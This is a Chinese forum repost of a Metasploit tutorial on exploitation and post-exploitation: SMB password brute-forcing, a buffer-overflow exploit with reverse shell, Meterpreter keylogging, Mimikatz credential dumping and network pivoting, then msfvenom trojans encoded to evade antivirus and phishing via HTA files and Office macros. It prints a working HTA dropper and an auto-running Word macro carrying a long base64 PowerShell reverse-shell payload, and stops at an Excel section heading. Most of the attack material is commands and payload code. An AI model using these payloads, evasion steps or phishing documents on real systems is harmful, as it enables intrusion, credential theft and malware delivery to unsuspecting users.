安全矩阵

 找回密码
 立即注册
搜索
查看: 735|回复: 0

Metasploit后渗透利用

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-5-6 13:02:44 | 显示全部楼层 |阅读模式
本帖最后由 ivi 于 2023-5-6 13:26 编辑

Metasploit后渗透利用
特mac0x01 Web安全工具库 2023-05-05 08:01 发表于河南
Metasploit 是一款开源的渗透测试工具,可以帮助网络安全专家和黑客发现和利用计算机系统当中的漏洞。在 Metasploit 中包含大量漏洞利用模块,可用来测试目标系统的安全性并快速创建和执行攻击。目前 MSF 框架可用于多种目的,包括渗透测试、漏洞研究、安全评估、恶意软件分析、网络防御等。同时还拥有强大的自动化功能,能够自动化执行一系列攻击,提供了图形化和命令行两种操作界面。
0x01 下载安装
APT安装
默认情况 Kali Linux 中已经安装了 Metasploit,如果不慎卸载可使用 APT 包进行安装
  1. apt install metasploit-framework
复制代码

源码安装
在其他 Linux 下可使用源码安装
  1. curl
  2. https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb
  3. > msfinstall && \chmod 755 msfinstall && \./msfinstall
复制代码

安装数据库并配置自动启动
  1. sudo apt install postgresql

  2. sudo systemctl start postgresql

  3. sudo systemctl enable postgresql
复制代码

初始化数据库
  1. sudo msfdb init
复制代码

成功启动 MSF
  1. msfconsole
复制代码

0x02 基础使用
用户界面
启动数据库可保存相关信息
  1. sudo systemctl start postgresql

  2. sudo systemctl enable postgresql
复制代码

升级 MSF 版本
  1. sudo apt update;sudo apt install
  2. metasploit-framework
复制代码

静默启动 MSF 并查看帮助
  1. sudo msfconsole -q
复制代码

基本语法
MSF中共包含几千个模块,它们被划分成不同类型,包括encoders、exploits、payloads等
  1. show -h
复制代码

查找端口扫描相关模块,找到后选择对应数字使用即可
  1. search portscan
复制代码

使用新模块后可回退至上一个模块
  1. use auxiliary/scanner/portscan/syn

  2. previous
复制代码

退出当前模块
  1. back
复制代码

当然在大部分模块中需设置参数
  1. show options
复制代码

使用set、unset、setg、unsetg进行设置模块,只是全局和局部的区别
  1. set rhosts 192.168.0.1

  2. set ports 80-89
复制代码
使用run或exploit运行模块
  1. run
复制代码

在启用数据库情况下相关服务信息已存储
  1. services
  2. #使用 -S 筛选服务名称,使用 -p 筛选端口号
  3. service -p 80
复制代码


如果在启动数据库的情况下还可以使用Nmap 扫描
  1. db_nmap 192.168.0.1 -p 80 -sV
复制代码

列出已经发现的主机
  1. hosts
复制代码

不同的渗透项目中可存储于不同的工作组当中
  1. workspace #列出工作组
  2. -a #添加工作组
  3. -d #删除工作组
复制代码


0x03 常见模块
辅助模块
辅助模块主要用于信息收集、协议枚举、端口扫描、模糊测试、网络嗅探等。列出所有辅助模块
  1. show auxiliary
复制代码

搜索 SMB 服务名称相关的辅助模块
  1. search type:auxiliary name:smb
复制代码

选择 SMB 版本扫描模块并查看相关信息
  1. use auxiliary/scanner/smb/smb_version

  2. info
复制代码

如果数据库开启可搜索已开启445端口的主机
  1. services -p 445 --rhosts
复制代码

扫描 SMB 服务并爆破密码
  1. use auxiliary/scanner/smb/smb_login

  2. set SMBUser administrator

  3. set SMBPass mac

  4. set rhosts 172.16.117.174

  5. set threads 10

  6. run
复制代码

如果数据库开启可查看捕获到的凭证
  1. creds
复制代码

基于已知密码配合用户名字典进行喷射
  1. set rhosts 172.16.117.138-174

  2. set USER_FILE /user.txt

  3. set SMBPass mac

  4. run
复制代码

扫描 RDP 服务
  1. use auxiliary/scanner/rdp/rdp_scanner

  2. set rhosts 172.16.117.174

  3. run
复制代码

利用模块
漏洞利用模块共包含1700多个EXP,搜索syncbreeze 已知漏洞
  1. search syncbreeze
复制代码

使用利用模块并查看相关信息
  1. use exploit/windows/http/syncbreeze_bof

  2. info exploit/windows/http/syncbreeze_bof
复制代码

查看当前 EXP 支持的 payload
  1. show payloads
复制代码

设置目标 payload 和对应版本
  1. set payload windows/shell_reverse_tcp

  2. show targets

  3. set target 2
复制代码

设置反弹shell地址
  1. set lhost 172.16.117.1

  2. set rhost 172.16.117.205
复制代码

检测主机是否存在漏洞
  1. check
复制代码


执行漏洞利用模块
  1. exploit
复制代码

Payload模块
除了基础的 payload 以外,MSF 中还包含多种高级 payload,它们主要分为两种:

  • Non-Staged:不分阶段 Payload,与 EXP 一起被完整发送到目标系统
  • Staged:分阶段 Payload,通常被分为两部分


    • 第一部分较小,负责建立反弹连接,传输较大的第二部分 payload 并执行
    • 为了避免被杀软发现,第一部分不包含明显特征的恶意代码,利用其加载第二阶段代码到内存中并执行
根据 payload 的名称可以区分 payload,比如同样是反弹shell,分阶段的是shell/reverse_tcp,不分阶段就是shell_reverse_tcp
Meterpreter
Meterpreter 使用可动态扩展的多功能 Payload,提供更多的功能和函数,比如传文件、键盘记录、音/视频的开启等。同时还支持多系统、多架构、多语言、多协议
  1. search type:payload name:meterpreter

  2. set payload windows/meterpreter/reverse_http
复制代码


其他 payload
  1. vncinject/reverse_http #反弹VNC图形shell
  2. php/reverse_php #PHP反弹shell,用于WEB攻击
复制代码


查询基础信息,输入help可查看帮助信息
  1. sysinfo #查看系统信息
  2. getuid #查看用户信息
复制代码

在 Meterpreter 支持简单的 Linux 命令,即使 Windows 也适用
  1. pwd
  2. ls
  3. cd
  4. execute
  5. ps
  6. kill
复制代码

自带文件上传、下载功能,但 Windows 下路径必须指定双斜杠
  1. upload
  2. /usr/share/windows-resources/binaries/nc.exe c:\\Users\\offsec
  3. download c:\\windows\\system32\\calc.exe /tmp/calc.exe
复制代码

获取屏幕截图
  1. screenshot
复制代码

进程迁移至需要键盘记录的用户
  1. ps
  2. migrate 2796
复制代码

获取键盘记录
  1. keyscan_start
  2. keyscan_stop
复制代码

Meterpreter 会话依赖对应进程,如果进程结束会话也将随之结束。拿到会话第一时间需要迁移进程
  1. ps
  2. migrate 2678
复制代码

Mimikatz 扩展需要 SYSTEM 权限
  1. load kiwi
  2. getsystem
  3. creds_all #获取密码哈希
复制代码

以 MSF 作为跳板穿透内网,添加内网路由
  1. route add 10.10.10.1

  2. route print
复制代码

通过跳板访问内网域控DC
  1. use exploit/windows/smb/psexec

  2. set SMBDomain corp

  3. set SMBUser admin

  4. set SMBPass admin

  5. set rhosts 10.10.10.110

  6. set lport 4444

  7. set payload windows/meterpreter/bind_tcp

  8. exploit
复制代码

除了添加内网路由外,还可以使用 autoroute 模块,利用已建立的 Meterpreter 穿透内网
  1. use multi/manage/autoroute

  2. sessions -l

  3. set session 4

  4. exploit
复制代码

结合路由和 socks4a 模块建立 socks 代理,允许外部工具直接访问内网
  1. use auxiliary/server/socks4a

  2. set SRVHOST 127.0.0.1

  3. exploit -j
复制代码

配置 proxychains 挂代理访问内网
  1. sudo proxychains rdesktop 192.168.1.110
复制代码

当然也可以通过 Meterpreter 会话实现端口转发
  1. portfwd -h

  2. portfwd add -l 3389 -p 3389 -r 192.168.1.110
复制代码

在本地连接远程桌面
  1. rdesktop 127.0.0.1
复制代码

木马生成
可执行的 payload 能以不同文件格式导出,比如 ASP、VBScript、Jar、War、DLL、EXE 等,比如生成 PE 类型的反弹shell
  1. msfvenom -p windows/shell_reverse_tcp
  2. lhost=172.16.117.1 lport=443 -f exe -o shell_reverse.exe
复制代码
编码 shellcode 用于免杀AV
  1. msfvenom -p windows/shell_reverse_tcp
  2. lhost=172.16.117.1 lport=443 -f exe -e x86/shikata_ga_nai -i 4 -x
  3. /usr/share/windows-resources/binaries/plink.exe -o embedded.exe
复制代码

当然也可以在 MSF 界面中生成木马,效果和第一种一样
  1. use payload/windows/shell_reverse_tcp
  2. set lhost 172.16.117.1
  3. set lport 443
  4. generate -f exe -e x86/shikata_ga_nai -i 9 -x plink.exe -o embedded.exe
复制代码

启动 MSF 侦听
  1. use multi/handler
  2. set payload windows/shell_reverse_tcp
  3. set lhost 172.16.117.1
  4. set lport 443
  5. exploit -j
复制代码

执行木马成功上线
  1. sessions -i
复制代码

执行免杀木马成功上线
查看后台监听
  1. jobs
  2. jobs -i 2 #显示 job 2 信息
复制代码


结束后台监听
  1. kill 2 #结束 job 2
复制代码


使用 transport 转换监听
  1. transport list
  2. transport add -t reverse_https -l 192.168.0.1 -p 5555
  3. transport next
复制代码


0x04 网络钓鱼
生成客户端可执行格式的文件,比如 HTA、Office 宏等,查看支持的所有格式
  1. msfvenom -l formats
复制代码

Flash钓鱼
使用客户端浏览器攻击向量,其中 Flash 主要针对老旧版本客户端
  1. search flash
复制代码

查看模块的高级选项
  1. use exploit/multi/browser/adobe_flash_hacking_team_uaf
  2. show advanced
复制代码

编码第一、二阶段 shellcode
  1. set EnableStageEncoding true
  2. set StageEncoder x86/shikata_ga_nai
  3. exploit -j
复制代码
目标访问点击 Flash 更新成功上线

HTA钓鱼
如果把 HTML 扩展名修改为.hta,IE 浏览器会将其作为 HTML 应用程序解析执行。如果在浏览器之外,可使用 mshta.exe 来执行该程序。HTA 兼容 ActiveX 等遗留技术,支持 JavaScript、VBScript,可执行任意程序,但该攻击方式只对 IE、Edge 有效。首先在 MSF 中生成用于攻击的 HTA 文件
  1. msfvenom -p windows/x64/shell_reverse_tcp
  2. lhost=10.10.10.148 lport=4444 -f hta-psh -o mac.hta
复制代码

在本地 MSF 中开启监听
  1. msf > use exploit/multi/handler
  2. msf > set payload windows/x64/shell_reverse_tcp
  3. msf > set lhost 10.10.10.148
  4. msf > set lport 4444
  5. msf > exploit -j
复制代码

在 Windows 主机中打开 HTA
成功上线 MSF

当然也可以使用 mshta 打开程序
  1. mstha http://172.16.117.1/mac.hta
复制代码

查看 HTA 程序源码可知:HTA 脚本语言为 VBScript,通过 Windows 脚本引擎的 Run 方法执行 PowerShell
  1. <script language="VBScript">

  2.   window.moveTo -4000, -4000

  3.   Set g9sC2u7hP5K =
  4. CreateObject("Wscript.Shell")

  5.   Set yPI4TszOgKUl =
  6. CreateObject("Scripting.FileSystemObject")

  7.   For each path in
  8. Split(g9sC2u7hP5K.ExpandEnvironmentStrings("%PSModulePath%"),";")

  9.     If yPI4TszOgKUl.FileExists(path +
  10. "\..\powershell.exe") Then

  11.       g9sC2u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nACcAKQAtAGYAJwAnAD0AJwAnACwAJwAnAGYAJwAnACkAKQApACkALABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQApACkAJwA7ACQAcwAuAFUAcwBlAFMAaABlAGwAbABFAHgAZQBjAHUAdABlAD0AJABmAGEAbABzAGUAOwAkAHMALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAE8AdQB0AHAAdQB0AD0AJAB0AHIAdQBlADsAJABzAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0AJwBIAGkAZABkAGUAbgAnADsAJABzAC4AQwByAGUAYQB0AGUATgBvAFcAaQBuAGQAbwB3AD0AJAB0AHIAdQBlADsAJABwAD0AWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJABzACkAOwA=",0

  14.       Exit For

  15.     End If

  16.   Next

  17.   window.close()

  18. </script>
复制代码

针对 PowerShell 中的参数解释如下:

  • -nop(-NoProfile):指示 PowerShell 不要加载用户配置文件(默认配置影响代码执行,因此禁用)
  • -w hidden(-WindowStyle hidden):禁止在用户桌面打开新窗口
  • -e (-EncodedCommand):Base64编码的 Powershell 脚本
而其中的乱码经 CyberChef 解码后如下,其执行的仍旧是 Powershell 脚本


Office宏钓鱼
利用客户端日常使用的受信软件存在的漏洞,攻击将更加隐蔽且成功概率更高。客户端常用软件通常存在 Office,主要用于处理日常的办公需求,在 Office 存在可利用的宏,通过宏代码可执行 VBA 代码,VBA 是全功能的脚本语言,支持 ActiveX、Windows 脚本。尝试在 Windows 中创建 Word 文档,在视图中添加宏MyMacro
在其中添加宏代码如下:
  1. Sub AutoOpen()

  2. MyMacro

  3. End Sub

  4. Sub Document_Open()

  5. MyMacro

  6. End Sub



  7. Sub MyMacro()

  8. CreateObject("Wscript.Shell").Run "cmd"

  9. End Sub
复制代码

保存为 doc 文件

再次打开允许宏代码执行会弹出 CMD 命令行

在 MSF 中生成反弹shell代码
  1. msfvenom -p windows/shell_reverse_tcp
  2. lhost=10.211.55.5 lport=4444 -f hta-psh -o evil.hta
复制代码

由于 VBA 字符串存在长度限制,最大长度为255个字符,但字符串变量的长度没有限制,因此可先将 payload 分割成多段较短的字符串后再进行拼接执行,通过以下 Python 脚本进行分割
  1. str = "powershell.exe -nop -w hidden -e
  2. JABzACAAPQAgAE4AZQB3AC....."

  3. n = 50

  4. for i in range(0, len(str), n):

  5.     print("Str = Str + " +
  6. '"' + str[i:i+n] + '"')
复制代码

生成后的代码如下:
  1. Sub AutoOpen()

  2. MyMacro

  3. End Sub

  4. Sub Document_Open()

  5. MyMacro

  6. End Sub



  7. Sub MyMacro()

  8. Dim Str As String

  9. Str = Str + "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4Ad"

  10. Str = Str + "ABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewA"

  11. Str = Str + "kAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnA"

  12. Str = Str + "H0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGk"

  13. Str = Str + "AcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8Ad"

  14. Str = Str + "wBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcAB"

  15. Str = Str + "vAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9A"

  16. Str = Str + "E4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQ"

  17. Str = Str + "AaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAU"

  18. Str = Str + "wB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQB"

  19. Str = Str + "tAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9A"

  20. Str = Str + "CcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACA"

  21. Str = Str + "AJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAc"

  22. Str = Str + "gBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB"

  23. Str = Str + "5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkA"

  24. Str = Str + "GUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGU"

  25. Str = Str + "AbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAe"

  26. Str = Str + "gBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQB"

  27. Str = Str + "jAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5A"

  28. Str = Str + "FMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4"

  29. Str = Str + "AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAd"

  30. Str = Str + "AByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEARAArAHsAMgB"

  31. Str = Str + "9AGsARwBNAEMAQQA3AFYAVwBiAFcALwBpAE8AQgBEACsAdgB0A"

  32. Str = Str + "EwAKwBoADIAaQBGAGwARQBTAGkAdgBKAFYAdAB0ADUAVgBXAHU"

  33. Str = Str + "AbwBTAFgARQBrAG8AbwBrAEIASQBLAEwARABxAFoAeABBAGsAd"

  34. Str = Str + "QBUAGsAdwB7ADEAfQBwADcAewAyAH0AcwA3AFgAKwAvAEMAUwB"

  35. Str = Str + "TAGwAVgB7ADEAfQB1ADcAMwBrAGwAcgBDAFIASABiAE0AKwBQA"

  36. Str = Str + "HgATQA4AC8ATQAyAEkAdABEAFIAeABBAFcAUwB1AGgAcwBLAC8"

  37. Str = Str + "AMwA4AC8ARQBsAEsAUgB3ADkAeABGAEUAaABLAEQAbgAvAE4AU"

  38. Str = Str + "wA3AG4AbABnADYAVwByAHgANwAzAGMAQQB7ADIAfQAyAFQAdgB"

  39. Str = Str + "rAHYASwBWACcAJwArACcAJwBGAHUAdAA2AGkAeABBAEoASgB4A"

  40. Str = Str + "HsAMQB9AFgAdABaAGkAewAyAH0AbgBFAG8ARAB2AFAAQwBGAFI"

  41. Str = Str + "AWgBhAEYATwBGAGcAVABnAG0ATwBGAEYAWAA2AFMAeABvAHQAT"

  42. Str = Str + "QBNAGMAJwAnACsAJwAnAG4ATgAvAE4ANwA3AEEAagBwAHAANQB"

  43. Str = Str + "UADcAcwAzAEIARgAyACcAJwArACcAJwBSAHsAMgB9AFIAVgBHA"

  44. Str = Str + "HgAYgBRADgANABDAFMAeQB7ADEAfQBhADYAQwBaADcASABlAGE"

  45. Str = Str + "AZwB4AEsAMgBDAHQAYQBKAEUASwBQAEsAUABIADcASQA2AFAAU"

  46. Str = Str + "wBuAFAAQwBvADIASABHAE4ARgBJAGsAYQAnACcAKwAnACcAMQB"

  47. Str = Str + "0AEoASABCAFEAYwBDAG0AVgBWAGUAbQBYAG0AaAB4ADQAdQAxA"

  48. Str = Str + "DEAaABSAFQAYQBKAHcAMQBuAEUAUABGAEUAWQBrAGYAQwAwAFU"

  49. Str = Str + "AaABpAEcARQBmAEoAdwBGADYAdwA5AFkAaABPAEwAQgBYAE0Aa"

  50. Str = Str + "gBHAGUANQB5AHYAQQAzAEgASQB1AGIAaAAvAGwASwBKAGwAWQB"

  51. Str = Str + "PAE0ASQBzAE4AbgBqAHsAMgB9AE4ASABjADEAMgBPAG8AMABqA"

  52. Str = Str + "E8AUwA5AFAARQAvAG4AUQAyACsAMABPAFoAcABvAGMAUAA0AGw"

  53. Str = Str + "AQwBRAEEAQgBlAE0AVQBHAEQATwBWAGgAYgBtAGoAOABUAEIAV"

  54. Str = Str + "QBhAEcARgBRAHAAZgBpAEEAZgBaAG0AbwBHAFUASgBUAGsASgA"

  55. Str = Str + "vAHAAcQBvAGcAOQBzAGkAVwBXAE0AbQBGAE0AYQBWADUANgBiA"

  56. Str = Str + "CsAWQBVAGIAcAA0AG4AVQBIADMAVQBTAFgAbAB1AFIASgBJADk"

  57. Str = Str + "AUQBSAFgAOAB4AEQAUQAxADkAYwAwAG0AUgB0AFQAZgBGAEMAV"

  58. Str = Str + "QAzAC8AQQBUAE8ASwBEAEMAeQBIAGcAQQA0AFAAMQBLADgAUAB"

  59. Str = Str + "NAHkANQB1AEIAdgAvAGUANABiADEARABrAHUAWgBHAE8ANgAzA"

  60. Str = Str + "DgASABnAHMATgBKAGoARQB7ADEAfQBrAHIAZgA1AHsAMQB9AEs"

  61. Str = Str + "AZQBjAG0ARQBzADUARgBnAGYAQQB2AFQAMwBDADIAUABzAFQAc"

  62. Str = Str + "AA3AGcAbAB2AEsAaQBYAG4AZwBuAGUAVQAvAGEAcQA2AGMANgB"

  63. Str = Str + "ZAEwAbQAyAGwAcAB4AFcASgByAGEAagBMAGkAewAyAH0AbwA0A"

  64. Str = Str + "EUAWAA0AGMAOQB0AGMARABPAFIAZQBaAC8ATAB7ADEAfQBlAHk"

  65. Str = Str + "AUgBFAE4AZQAzAEkAUQBxAEkAawA5AEYAVgBlAFMAcwBtADIAS"

  66. Str = Str + "wBOADQAagAwAGsAaABFACcAJwArACcAJwArAHUAQwBnADQAcQB"

  67. Str = Str + "jAGIAbQBDADMAagBpAG4AMgBrAFUAaABnAFQAcQBqAHgAUwBxA"

  68. Str = Str + "DAAUgBFAFAARwBrAHEAOABlAEUAdQBwAGgAcgBEAHMAUQAxAEE"

  69. Str = Str + "AcQA4AGcANQBPAHAATABaAHcANgBSAFUAMgBRAGoATgBIAEUAQ"

  70. Str = Str + "QA4AEIAMwBtAHcATgBXAGMAQgAwAG0AQwBNACsAJwAnACsAJwA"

  71. Str = Str + "nAGsAMABNAGIAYgBaADYAYwBrAGMAaABPAFEAYQBSAFYARwBVA"

  72. Str = Str + "GwAMwBvAHgAWgBLAG0AVABsAHkAeQBNAEsASABiAHsAMgB9AGs"

  73. Str = Str + "AaABaAEcASgBOADMAUwBZAHMASAAyAG4ALwBMAFIAWABUAE8Ab"

  74. Str = Str + "QBnAGoAZwBvAEUAcABtADUAbQBmAG8AUwB7ADIAfQBmAFQAVQB"

  75. Str = Str + "HAGcAcwBqAHcAVwBNAEgANABnAG8ASQAzAEYAbwByADcAQgBCA"

  76. Str = Str + "EUARQAwAEQAeQBVAG8AdQA0AFcATgA5AGEAeABNADkATwBsADk"

  77. Str = Str + "AKwBFAG8ANABZAG8AaABlAFEAQgBTADQAOAAnACcAKwAnACcAU"

  78. Str = Str + "QBEAGwAaABKAFkATABCAEUAdwBoAFkATwBqAGgANgBZAG8AUgB"

  79. Str = Str + "ZAHMATABJAHgAZwBSAFgARQBBAFEAdgB1AHEAMABhAFQASQBoA"

  80. Str = Str + "HgAcQBSADUAcwBpAGUAWAA4AGoASAByAHYAeQAyAG8AMQBrAHE"

  81. Str = Str + "ASABIAGkAZgBBAEoATQBoADgAcwB4AE4AaQBMAFoARgBtAGMAa"

  82. Str = Str + "ABMAE4AdQBFAEMAUwBsAEEAQwBjAGsASwB2AC8AKwBmAEYANgA"

  83. Str = Str + "rAHEAVAB1AEYAUABqAE8ASQAyAE8AawBpAFgAWgBWAE4AKwBLA"

  84. Str = Str + "EoAQQB0AHkAYwBUAGsAaABhAFEAcgBSAEgAaABBACcAJwArACc"

  85. Str = Str + "AJwB1ACcAJwArACcAJwBBAEkAdwBtAFoANABHAE8ASQBuAHgAV"

  86. Str = Str + "wBQAHsAMQB9AFEAWgA1AFUAdgB4AGgAdABRADAARwBHAE0AagB"

  87. Str = Str + "wAEsAYQBqAEwAMABsAFoAVwA1AE8AeQBZAGMASgB2AFMARQA0A"

  88. Str = Str + "E4AVgBqADkAMwByADkAdgAzAHIAUwBLAHYAYgB4AGEAZQBaAGs"

  89. Str = Str + "AJwAnACsAJwAnAFMARwAyAGUAcgBWACsANgAxAFcAOQBiAEYAd"

  90. Str = Str + "AAyAFYAVgBoAE4AUQB4AHgAMwBUAE8ARQAyAGIAJwAnACsAJwA"

  91. Str = Str + "nAGkANwB2ADcAZQAwADEAbQBBADQARgBoAE4ARABhADkAMgBTA"

  92. Str = Str + "DAAbgBKAGMAMwAnACcAKwAnACcAYQAzAGEAWgBHAHsAMQB9ADE"

  93. Str = Str + "ATgBIAGUAOABLAFoANwB0ADkATgAyADYAcABHADkAMgA5ADcAN"

  94. Str = Str + "wByAGoAZQB1AGUANQA1ADkANwAxAHEARAA4AHQAVQBrADYAbwA"

  95. Str = Str + "xAHAAZgBMADEAVgBRAHAAOQA2AEkATwB5AE4AOQByAFoAZQBxA"

  96. Str = Str + "FUAWQBPAHMAVwAzADAAeQA3AEMALwBiAFQAVABFAGYAMgB4AFE"

  97. Str = Str + "ATgB2AGEASgAvAFYANwA1AEEAWgBOAFAAaAA5ADMAYQBaAG0AV"

  98. Str = Str + "AB0AEQAMAA2ADQAVwBwADgANgB1ADcAewAxAH0AbABYAEMAOQB"

  99. Str = Str + "QAHsAMQB9AGoAbAB2AEYAaQAxAEYAMQBxAFQAVQAwAHIAUgBZA"

  100. Str = Str + "DIANwBLAGIATwByAHMAYwA2ADEAJwAnACsAJwAnADMAcABGAGU"

  101. Str = Str + "AOQBqAFUAKwA4AE8ARwAzAHUALwBEADIAcABsAGYAOQBLAHEAd"

  102. Str = Str + "wBSAGkAdQBzAGkAVABSACsAMgAxADMAYgBUAFAATwAxAHcAWgA"

  103. Str = Str + "wAFIAQgBtAGkAaABqACsAdwBLAG0AYQB7ADIAfQB1AEIAJwAnA"

  104. Str = Str + "CsAJwAnAGcAdQB3ADEAUQBRAFgAewAyAH0ARwBLAHAAYQByAGg"

  105. Str = Str + "ANAB3ADcAJwAnACsAJwAnADUAMQBSAHMAUgArAEwATgByAG8Ac"

  106. Str = Str + "QBpAHMAbQBXAHEAMQB7ADEAfQBMAGIAdAAzADkAcQA1AFYAUQB"

  107. Str = Str + "ZAHYAMgB4AEkANAA3AEYANQBQAEkAYgBiAFQAcgBhADEAMABiA"

  108. Str = Str + "GwAeAB0AHQAdgBYADYAbABOAFEAYgBEAFkAWABNAHkAcwBwAGU"

  109. Str = Str + "AVAAwAFMAMgB7ADEAfQBqAEkAYgBsAEMAYwBQAE8AdQByAGcAQ"

  110. Str = Str + "QBHAHcAVAByAE4ALwBaAHkAWABqAFMAdgBmAEcATwB4AEsAZgB"

  111. Str = Str + "0AHcAMQB2AG4AZQBmAGsAQQBDAE8AcQArADQAeABZAHYAaABOA"

  112. Str = Str + "HsAMgB9ADEAYwBYAC8AdQA5AFIAOQAvAHQAagA4ADQASABtACs"

  113. Str = Str + "ANQAyAFgAbQBIAGEAcwBGAGkAMAB2ADAAQwBvAHAAMABNAFMAa"

  114. Str = Str + "QB0AFAASwBMAFAAZgBnAHQAagBmAHQAcABDAFoAKwAvAHAAVAB"

  115. Str = Str + "7ADIAfQAvAG4AeQA0AHEAVAAwAEwAKwBuAHMAVgAzADAAUQA4A"

  116. Str = Str + "FcAaQBBAEsAWgBJAEIAYQBuAHUAVgBrAGsALwBGAG0AVwBwADk"

  117. Str = Str + "ANwBqAEMAUQBhAGkAcABKADAAKwBDAFgAbQBJAGEAYgBRAEYAc"

  118. Str = Str + "QBGAHgAWgBsAFQAVwBLAEcAVgBPADAAaAB2ADIAaABSAHsAMgB"

  119. Str = Str + "9ADYAMABxAEYAYgBKAE0AMQByAGEATwB7ADIAfQA5AGUAdQB0A"

  120. Str = Str + "EwAbABaADQARQAxAFcAUABUAHkASgBZAHUATAB5AGYAZwBKAEM"

  121. Str = Str + "AUgBIAFgAQwA1ADAAYwBPAGkATABSAGIANgAwAE8AUwAyACcAJ"

  122. Str = Str + "wArACcAJwBWAG8ATgBpAFgATgBxAFgAcQBQAGcAVQArAGYAcgB"

  123. Str = Str + "FAGEAVwAyADAAVgBNAEoAVgBQAG0AJwAnACsAJwAnAHMAVQBCA"

  124. Str = Str + "G0ASQBOAHAAdQBqAGMATgAxAG8AZwBuAEsAYwBwAHYAUgB3AG8"

  125. Str = Str + "AZQBCAEEASgBLADAALwB0AFkAdgBRAGMAYgBIAEwAMgBFAFMAZ"

  126. Str = Str + "wBLAGwANwBaAEQAewAxAH0AQwBYAGcANgBZAC8AUQA1AHsAMQB"

  127. Str = Str + "9AE4AbQA5AG4AcwBoAHcAaABBADQAdwBLADgAUABOAHAAOABsA"

  128. Str = Str + "GIANABNAEEAJwAnACsAJwAnAFIAcwBIAEMAQwBIADYARAAyAEo"

  129. Str = Str + "ATQAzAHkAZQBmAFAATgA0AGUAMQB2ADUAVQB4AGEAbwB4AGIAd"

  130. Str = Str + "wA1AC8ANABiAFoANAA1AHIALwA3AEQANwBJAFIANgBWADgAaQB"

  131. Str = Str + "rADYAcgAnACcAKwAnACcAOQBaAGYATABqAHcAcgA4AEwAOABQA"

  132. Str = Str + "GcAaABFAGkAQQBnAFEAdABLAEwAYwBVAEgAMQA0AEEAYgB5AE8"

  133. Str = Str + "AUgBKAHMAcQB7ADIAfQBFAE8ATQB0AHAASQBHAFgAagB1AFIAV"

  134. Str = Str + "gBmAEIATwBMAGsAeQA2ADgAcwAvAGIAbAAvAG0ALwBYAHAANAB"

  135. Str = Str + "rAE8AagBBAHMAQQBBAEEAewAwAH0AewAwAH0AJwAnACkALQBmA"

  136. Str = Str + "CcAJwA9ACcAJwAsACcAJwBkACcAJwAsACcAJwB6ACcAJwApACk"

  137. Str = Str + "AKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAc"

  138. Str = Str + "gBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgB"

  139. Str = Str + "NAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApA"

  140. Str = Str + "CkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHM"

  141. Str = Str + "ALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZ"

  142. Str = Str + "gBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdAB"

  143. Str = Str + "hAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7A"

  144. Str = Str + "CQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQ"

  145. Str = Str + "AZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAb"

  146. Str = Str + "gBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdAB"

  147. Str = Str + "lAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjA"

  148. Str = Str + "GUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA"

  149. CreateObject("Wscript.Shell").Run Str

  150. End Sub
复制代码
打开文件会自动运行宏代码,在本地监听后成功上线
Excel嵌入钓鱼
